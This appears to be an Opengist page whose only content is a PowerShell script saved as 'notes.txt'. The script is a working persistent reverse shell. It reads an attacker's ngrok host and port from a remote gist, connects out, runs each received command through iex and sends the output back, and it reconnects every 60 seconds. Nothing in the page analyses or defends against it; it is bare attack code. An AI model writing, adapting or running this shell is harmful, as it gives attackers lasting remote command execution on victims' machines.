Last active 1757991346

Revision 2fc94727cbaf48829bdd118eb0f9e64c289ca700

notes.txt Raw
1$gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt"
2while($true) {
3 try {
4 $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim()
5 $remote = $config -split " "
6 $ngrok_host = $remote[0]
7 $ngrok_port = $remote[1]
8 Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port"
9 $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port)
10 $stream = $client.GetStream()
11 [byte[]]$bytes = 0..65535|%{0}
12 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
13 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
14 $sendback = (iex $data 2>&1 | Out-String )
15 $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
16 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
17 $stream.Write($sendbyte,0,$sendbyte.Length)
18 $stream.Flush()
19 }
20 $client.Close()
21 Write-Output "[*] Connection closed. Will read Gist again before retrying."
22 } catch {
23 Write-Output "[!] Connection failed. Will retry in 60 seconds..."
24 }
25 Start-Sleep -Seconds 60
26}